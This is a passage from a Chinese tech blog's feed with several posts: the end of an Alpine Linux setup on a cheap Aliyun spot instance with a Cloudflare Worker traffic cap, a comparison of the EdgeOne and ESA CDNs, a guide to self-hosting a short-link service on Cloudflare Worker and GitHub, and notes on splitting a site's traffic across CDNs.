&lt;pre&gt;&lt;code&gt;Select keyboard layout: [none] us
Select variant: [us]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置主机名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Enter system hostname (fully qualified form, e.g. &apos;foo.example.org&apos;) [localhost] alpine-vps
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置网卡&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Available interfaces are: eth0 lo
Which one do you want to initialize? [eth0]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置 IP 获取方式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Ip address for eth0? (or &apos;dhcp&apos;, &apos;none&apos;, &apos;manual&apos;) [dhcp]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;是否进行手动网络配置&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Do you want to do any manual network configuration? [no]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置 root 密码（输入时不会显示）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;New password:
Retype password:
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置时区，或者（PRC）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which timezone are you in? (&apos;?&apos; for list) [UTC] Asia/Shanghai
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置代理&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;HTTP/FTP proxy URL? [none]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择软件仓库镜像。这个地方建议先输入 &lt;code&gt;s&lt;/code&gt; 列出所有镜像，然后上下翻找找到阿里云镜像源，然后输入对应镜像源编号，否则选错了你后续通过apk安装软件的时候不会免流&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which mirror do you want to use? (or &apos;?&apos; or &apos;done&apos;) [44] 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;不创建普通用户&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Setup a user? (enter a username, or &apos;no&apos;) [no] no
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择 SSH 服务&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which SSH server? (&apos;openssh&apos;, &apos;dropbear&apos;, or &apos;none&apos;) [openssh]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;是否允许 root 通过 SSH 登录&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Allow root ssh login? (&apos;?&apos; for help) [prohibit-password] yes
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;没有找到磁盘，是否安装至 vda 云盘，是&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;No disk available, Try boot media /media/vda ? (y/n) [n] y
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择要安装的磁盘&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which disk(s) would you like to use? (or &apos;?&apos; for help or &apos;none&apos;) [none] vda
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择磁盘使用方式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;How would you like to use it? (&apos;sys&apos;, &apos;data&apos;, &apos;crypt&apos;, &apos;lvm&apos;) [sys]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;确认格式化磁盘&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;WARNING: Erase the above disk(s) and continue? [y/N] y
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;安装系统&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Installing system on /dev/sda:
  Installing alpine-base...
  Installing busybox...
  Installing openssh...
  Installing openrc...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;安装完成提示&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Installation is complete. Please reboot.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;重启系统&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;localhost:~# reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;重启后登录&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;alpine-vps login: root
Password:
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置DNS（Cloudflare &amp;amp; Google DNS）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;alpine-vps:~# setup-dns
DNS Domain name? (e.g. &apos;bar.com&apos;) nameserver
DNS nameserver(s)? [223.5.5.5] 1.1.1.1 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alpine的软件包管理器为 &lt;strong&gt;APK&lt;/strong&gt; ，首先我们先更新软件源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，安装一些基本的软件包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add curl unzip jq openssl tar iproute2 bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;设置保活&amp;amp;用量封顶策略&lt;/h3&gt;
&lt;p&gt;虽然我们将弹性公网IP连接了CDT，默认流量会从CDT的免费流量份额里面扣&lt;/p&gt;
&lt;p&gt;但是一旦超出上限，那就会扣我们的真金白银了&lt;/p&gt;
&lt;p&gt;所以，我们需要一个定时监测的服务，发现CDT流量快用完了立即停机&lt;/p&gt;
&lt;p&gt;那么...让我们请出 Cloudflare Worker！&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/cf-worker-aliyun-cdt-tracker&quot;}&lt;/p&gt;
&lt;p&gt;在Cloudflare Worker的仪表盘配置五个机密环境变量即可
以下是需要配置的机密环境变量 (Secrets)：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;示例 / 备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ACCESS_KEY_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阿里云账号的 AccessKey ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LTAIxxxxxxxxxxxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ACCESS_KEY_SECRET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阿里云账号的 AccessKey Secret&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xxxxxxxxxxxxxxxxxxxxxxxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REGION_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ECS 实例所在的区域 ID。&lt;/td&gt;
&lt;td&gt;cn-hongkong&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ECS_INSTANCE_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;需要控制的 ECS 实例 ID。在控制台获取&lt;/td&gt;
&lt;td&gt;i-xxxxxxxxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TRAFFIC_THRESHOLD_GB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;流量阈值（单位：GB），超过此值将停止实例&lt;/td&gt;
&lt;td&gt;&lt;code&gt;180&lt;/code&gt; (默认为 180)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我们需要前往 https://ram.console.aliyun.com/profile/access-keys 创建一个RAM用户，你就会得到 &lt;code&gt;ACCESS_KEY_ID&lt;/code&gt; 和 &lt;code&gt;ACCESS_KEY_SECRET&lt;/code&gt; ，并且分配权限：&lt;code&gt;AliyunECSFullAccess&lt;/code&gt;  `AliyunCDTFullAccess&lt;/p&gt;
&lt;p&gt;部署成功后，Cloudflare Worker将在每分钟检查一次CDT，如果超出流量阈值，会将指定ID的ECS停止
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-10.ztI6M6vq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;计费流程图&lt;/h1&gt;
&lt;p&gt;带宽费（按固定带宽计费收取）：根据您指定的带宽峰值和计费时长后付费，与实际使用的流量无关。&lt;/p&gt;
&lt;p&gt;流量费（按使用流量计费收取）：根据每小时公网的实际流量计费。&lt;/p&gt;
&lt;p&gt;最终，抢占型ECS实例每个小时扣费 &lt;strong&gt;0.005528 元&lt;/strong&gt; ，按照一个月31天，每月扣费 &lt;strong&gt;4.112832 元&lt;/strong&gt; ，而弹性公网IP一经绑定便不再计费，CDT每月免费200G海外流量，不超出不计费，OSS免费存储5G，传入流量不计费，我们也没有传出流量，或者保险起见你也可以将其删除&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最终每月成本：不到5元！&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/4411ab2fe9dfe7df65472e5b426af5671.B3jmDtHG.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>EO VS ESA，谁才是国内CDNの王？！</title><link>https://2x.nz/posts/eovsesa/</link><guid isPermaLink="true">https://2x.nz/posts/eovsesa/</guid><description>EdgeOne和ESA都是非常好的免费国内CDN，常规用起来几乎一模一样，今天我们就来让他俩一决雌雄！</description><pubDate>Fri, 16 Jan 2026 08:53:08 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;首先，EdgeOne是来的最早的，于25年7月就开始测试了，而ESA是10月才开放的。&lt;/p&gt;
&lt;p&gt;虽然EdgeOne在早期需要兑换码换免费套餐，而兑换码从早期的发推特然后找官方领码，再到Discord群组每天固定时间发码，最后到测速分享直接拿兑换码，门槛逐渐放低，功能逐渐齐全。&lt;/p&gt;
&lt;p&gt;而ESA由于是后来者，直接给每个阿里云账户发了一个免费的ESA套餐，如果你有多站点接入的需求，也可以通过拉人头来得到更多的免费套餐。&lt;/p&gt;
&lt;p&gt;就当前（26年1月）来说，两家的体验大差不差，但是EdgeOne和ESA的底层逻辑是有点区别的。&lt;/p&gt;
&lt;h1&gt;底层逻辑对比&lt;/h1&gt;
&lt;p&gt;EdgeOne这个项目，特别是Page，在24年就已经初具雏形并且能够像那些大厂如Cloudflare Page，Github Page，Vercel等静态托管平台一样使用了，但是当时一是腾讯是悄咪咪上的，二是节点实在是太烂了，只有海外新加坡节点，也不支持国内节点。&lt;/p&gt;
&lt;p&gt;而ESA大概率是从老的DCDN和云函数FC改过来的，控制台就已经露出鸡脚了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-1.DOiHua_y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;规则引擎与WAF&lt;/h1&gt;
&lt;p&gt;ESA的很多东西直接是照抄Cloudflare的，比如：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-3.BCTJnYTK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-2.DRTqgHtC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且还将每条规则（嵌套子规则也算一条）全部砍了一刀，免费套餐仅支持5条规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-4.KwYIXSeb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;EdgeOne 的优势&lt;/h2&gt;
&lt;p&gt;反观EdgeOne，它没有照抄Cloudflare，而是自己写了一套规则引擎，所有类型的规则都在一处地方配置，并且可以互相联动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-5.DQVnrQyv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-6.DOB7xxHG.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;甚至你还可以对不合法请求在L7给空。（不推荐，规则引擎的假拦截也算正常请求）
&lt;img src=&quot;https://2x.nz/_astro/1f63e461bfa538605c7734042edd68f6.DDDezztD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-7.Bp8bVnOR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-8.C37O3ZGB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;优先级陷阱&lt;/h3&gt;
&lt;p&gt;并且要注意一点，虽然你可以在规则引擎里伪装一个WAF拦截，但是在EdgeOne中，流量会先经由规则引擎，再经过WAF，也就是如果你在WAF写了个非CN拦截，然后在规则引擎里写个非CN给空，海外IP访问只能看到空响应，看不到拦截页面，流量也照记（难绷）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-9.BEEUlb_0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;ESA 的策略&lt;/h2&gt;
&lt;p&gt;而ESA这边，WAF的优先级始终是最高的，流量会先被WAF网关审查，通过后才应用规则，但是免费套餐不支持在WAF中设置地域级别的拦截（难绷）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-10.DaURxHkF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;曲线救国方案&lt;/h3&gt;
&lt;p&gt;但是有个曲线救国的方案，就是先写个规则将流量全拦截，然后再写个白名单规则，将可信流量绕过该规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-11.De_2IVFe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-12.B1VmKxCO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;回源配置&lt;/h1&gt;
&lt;p&gt;再接着就是因为ESA照抄Cloudflare，所以创建加速站点的时候默认是HTTP走80，HTTPS走443回源，如果你要更改回源的端口，还需要浪费一个回源规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-13.DFLqFw-7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而EdgeOne可以在创建站点的时候直接就设置回源端口以及回源Host。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-14.DNDyEYd9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;SSL 证书签发&lt;/h1&gt;
&lt;p&gt;再到SSL签发，首先两家都支持默认的CNAME签发，也就是你把域名解析到我这，我帮你签SSL，但是EdgeOne的CNAME签发是每一个站点单独签一次。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-15.DxMJxp8L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而ESA是统一管理，你给我个DCV，我直接给你签一个泛域名，之后你就用去吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-16.DjgZ-up2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;规则隔离与互通&lt;/h1&gt;
&lt;p&gt;然后就是最重磅的，EdgeOne独属的左右脑互搏时刻。&lt;/p&gt;
&lt;p&gt;在EdgeOne CDN和EdgeOne Page中，他俩的规则竟然不是互通的，CDN业务走CDN的规则，Page的规则走Page的规则，也行吧，他想做干湿分离，我配两套没问题。&lt;/p&gt;
&lt;h2&gt;功能阉割&lt;/h2&gt;
&lt;p&gt;但是！阉割是什么意思，为什么CDN可以写地域判断，Page就只能写IP？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-17.WuOcOVVY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-18.BkCNyAvs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么也没有什么让Page吃上CDN规则的方法呢？有的，兄弟有的（但是这样会在控制台看到双倍流量，如果你的Page纯静态，可以写个全缓存缓解一下）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-19.DaZpcYVt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Page 服务对比&lt;/h1&gt;
&lt;p&gt;接着到Page部分。&lt;/p&gt;
&lt;p&gt;EdgeOne的Page你可以直接看作是Cloudflare Page的本地化，甚至突破了核心代码，直接可以在Page里面跑Nodejs服务，要知道，Cloudflare Page也只有一个V8环境（Umami也可以！SSR函数小于等于128MB即可）并且可以托管海量大和多的文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-20.DLT6J3Cw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而ESA Page非常像云函数FC改过来的，虽然也支持函数吧，但没有完整的Nodejs环境，甚至最近WebSocket也被砍了（关闭后就打不开了），并且托管的文件数以及单文件大小如下限制。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eovsesa-21.USHmA19_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;速度与限速&lt;/h1&gt;
&lt;p&gt;最后就是速度相关，根据多方数据以及自测，两个CDN都会在长时间的单IP上下行请求逐渐将速率削减至大约 500KB/s，但如果只是正常业务使用，短时间的突发速率都可以飙到50MB/s左右（但不能长期），所以这俩CDN都不适合反向代理对象存储以及大文件分发，如果有类似业务需求还是老实用Cloudflare，CF是不限速的。&lt;/p&gt;
</content:encoded></item><item><title>完全免费！搭建一个自己的短链服务！</title><link>https://2x.nz/posts/static-redirect-group/</link><guid isPermaLink="true">https://2x.nz/posts/static-redirect-group/</guid><description>利用 Cloudflare Worker 和 GitHub，可以搭建一个纯静态、可自动维护的短链服务</description><pubDate>Wed, 14 Jan 2026 15:39:31 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;原本这篇内容更适合写进仓库的 &lt;code&gt;README&lt;/code&gt;，因为它本质上就是一个简洁的自部署教程。不过在实际整理时，我发现如果强行拆成 GitHub Pages + Cloudflare Worker 的前后端分离方案，反而会增加不少额外工作。实际上，这个项目只需要一个 Cloudflare Worker 就能跑起来，所以干脆单独写成一篇文章，方便说明整体思路。&lt;/p&gt;
&lt;h1&gt;项目原理&lt;/h1&gt;
&lt;p&gt;这个项目和上一篇短链项目的思路比较接近，不过整体做得更精简一些。&lt;/p&gt;
&lt;p&gt;首先，这个项目把前后端逻辑合并到了同一套体系里。前端基本不做复杂校验，主要校验工作都放在后端处理，这样就不用在两个项目之间来回维护规则。&lt;/p&gt;
&lt;p&gt;由于前端部分非常简单，只有两个 HTML 页面（一个用于创建短链，一个用于跳转），因此合并后也不会显得臃肿。&lt;/p&gt;
&lt;p&gt;另外，这个项目不再依赖 Cloudflare 服务端提供的 301/302 重定向规则，因此也绕开了 2000 条静态重定向的数量限制。它的做法是：当 CDN 请求静态资源命中 404 时，回退到 &lt;code&gt;404.html&lt;/code&gt;，再由其中的 JavaScript 负责查询短链规则并执行跳转，思路上有些类似 Nginx 的伪静态。&lt;/p&gt;
&lt;p&gt;如果某个 &lt;code&gt;pathname&lt;/code&gt; 没有命中任何规则，也会统一落到默认回退源，这样就能兼容类似 &lt;code&gt;https://2x.nz/posts/pin/ --&amp;gt; https://blog.acofork.com/posts/pin/&lt;/code&gt; 这样的场景。&lt;/p&gt;
&lt;p&gt;创建短链的逻辑和上一个项目也比较相似：由 Worker 代理访问 GitHub，修改对应的 JS 文件并新增一条短链规则，然后推送到仓库。提交完成后会自动触发 Cloudflare Worker 的重新构建，稍等片刻后，新路径就能正常跳转。&lt;/p&gt;
&lt;p&gt;最后，这个项目还支持有效期。实现方式也很直接：前端在创建短链时把过期时间一并传给后端，后端将其写入规则文件，再借助 GitHub Action 定时巡检并清理过期短链。&lt;/p&gt;
&lt;h1&gt;在哪搞个短链&lt;/h1&gt;
&lt;p&gt;我的 &lt;code&gt;2x.nz&lt;/code&gt; 是在 https://porkbun.com 购买的，价格大概是一年一百元左右。其他后缀也可以考虑，比如 &lt;code&gt;.im&lt;/code&gt;、&lt;code&gt;.mk&lt;/code&gt;。&lt;/p&gt;
&lt;h1&gt;正式搭建你的短链服务&lt;/h1&gt;
&lt;p&gt;首先，Fork仓库&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/Static_Redirect_Group&quot;}&lt;/p&gt;
&lt;p&gt;接下来，先修改一些硬编码内容。由于 Cloudflare Worker 在处理静态资源时不能直接使用环境变量，因此部分信息是直接写在 HTML 里的。你可以在所有 HTML 文件中搜索 &lt;code&gt;afoim&lt;/code&gt; 并替换成自己的内容；如果你愿意，也可以额外增加一层配置，并在构建阶段注入这些值。&lt;/p&gt;
&lt;p&gt;然后，请修改 &lt;code&gt;js&lt;/code&gt; 文件夹中的短链规则，替换成你自己的配置。&lt;/p&gt;
&lt;p&gt;再接着，创建一个 GitHub Token，只需要授予 &lt;code&gt;repo&lt;/code&gt; 权限即可。&lt;/p&gt;
&lt;p&gt;继续，绑定机密环境变量，使用 &lt;code&gt;wrangler secret put XXX&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_TOKEN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ghp_xxxx...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;刚才申请的 Token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_OWNER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;你的GitHub用户名&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;例如 &lt;code&gt;afoim&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_REPO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Static_Redirect_Group&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;你的仓库名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BASE_DOMAIN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;你的短链域名&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;例如 &lt;code&gt;u.2x.nz&lt;/code&gt; 或 Worker 的默认域名 &lt;code&gt;xxx.workers.dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;完成这些配置后，访问 &lt;code&gt;/_url&lt;/code&gt; 就可以开始创建短链了。&lt;/p&gt;
&lt;h1&gt;防护&lt;/h1&gt;
&lt;p&gt;建议重点保护创建短链的入口，避免被滥刷。你可以使用 Cloudflare Turnstile、速率限制或其他方式进行防护。&lt;/p&gt;
&lt;p&gt;在Cloudflare创建一个WAF规则&lt;/p&gt;
&lt;p&gt;当传入请求匹配时...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(http.host eq &quot;你的域名&quot; and (
  http.request.uri.path eq &quot;/_url&quot;
  or http.request.uri.path wildcard &quot;/api/*&quot;
))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后采取措施…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;交互式质询&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>网站分流怎么做？全球秒开！有点坐牢，但是好玩！</title><link>https://2x.nz/posts/fenliu/</link><guid isPermaLink="true">https://2x.nz/posts/fenliu/</guid><description>网站分流看着很难，实际上一点都不简单，如果你也感兴趣（想坐牢），那就来试试8！</description><pubDate>Sun, 11 Jan 2026 18:09:05 GMT</pubDate><content:encoded>&lt;h1&gt;需分流的网站&lt;/h1&gt;
&lt;p&gt;博客本体，主站
::url{href=&quot;https://blog.acofork.com&quot;}
Umami，用于在网站插入一个JS来进行访客统计以及展示访客信息
::url{href=&quot;https://umami.acofork.com/share/CdkXbGgZr6ECKOyK&quot;}
静态随机图，用于置顶文章Cover和整个网站的背景图
::url{href=&quot;https://pic1.acofork.com&quot;}&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;其他： https://acofork.com , https://www.acofork.com
这些都是要 &lt;strong&gt;301&lt;/strong&gt; 重定向到 https://blog.acofork.com 的域名，我们也需要为其配置分流&lt;/p&gt;
&lt;h1&gt;各CDN SSL申请方案&lt;/h1&gt;
&lt;h3&gt;EdgeOne&lt;/h3&gt;
&lt;p&gt;由于NS直接在EdgeOne，故直接申请
&lt;img src=&quot;https://2x.nz/_astro/fenliu-1.CeqXzbIw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ESA&lt;/h3&gt;
&lt;p&gt;使用DCV委派
&lt;img src=&quot;https://2x.nz/_astro/fenliu-2.Bxsq8GVZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Cloudflare&lt;/h3&gt;
&lt;p&gt;使用HTTP验证，由于ACME验证节点在国外，所以它只会看到CNAME到Cloudflare的记录，从而签发SSL
&lt;img src=&quot;https://2x.nz/_astro/fenliu-3.2GhiDClI.webp&quot; alt=&quot;&quot; /&gt;
针对重定向的域名，由于默认所有请求都会被重定向到新域，ACME自然无法验证，所以我们需要写一条排除规则，让ACME验证路径直接返回200 OK，其余的路径再重定向
&lt;img src=&quot;https://2x.nz/_astro/fenliu-17.B1JFUn0E.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;源站类型&lt;/h1&gt;
&lt;h3&gt;静态型&lt;/h3&gt;
&lt;p&gt;国内使用对应CDN的Page业务，海外使用Cloudflare Worker。至于为什么不将 &lt;code&gt;blog.acofork.com&lt;/code&gt; 也放在EdgeOne Page，一是因为EdgeOne CDN和Page的WAF规则是分开的，而Page业务的WAF规则不是很好做海外封锁，二是因为EO在之前被打的时候将这个子域封了。而ESA Page可以很简单做到海外封禁
&lt;img src=&quot;https://2x.nz/_astro/fenliu-4.DoI-1zOq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fenliu-5.D-R9aZOq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fenliu-16.6NrRdsDg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;动态型&lt;/h3&gt;
&lt;p&gt;国内使用IPv6回源（用户 - IPv4 - EO/ESA CDN - IPv6 - 源站）。至于为什么不用ESA，是因为ESA CDN回源非标端口需要像Cloudflare一样写一条回源规则，占用免费规则集5条中的其中之一
&lt;img src=&quot;https://2x.nz/_astro/fenliu-6.DPWAQprQ.webp&quot; alt=&quot;&quot; /&gt;
海外采用Cloudflare Tunnel（用户 - IPv4 - CF CDN - 内部连接 - 源站）
&lt;img src=&quot;https://2x.nz/_astro/fenliu-7.DDvpQ8BY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;浏览器客户端实现监看当前访问节点&lt;/h1&gt;
&lt;p&gt;利用浏览器JavaScript发送HEAD请求拿取对端响应头Server字段并回显（若跨域则需要设置 &lt;strong&gt;Access-Control-Expose-Headers&lt;/strong&gt; 响应头，值为 &lt;strong&gt;server&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/fenliu-12.D0Uwrms0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ae6f93ce318fa428e94256c2b4a501e1.cFvTEUJt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;ESA Page对超多资源和大文件支持很差。例如静态随机图项目无法部署到ESA Page（超出了2000个静态资产）&lt;/li&gt;
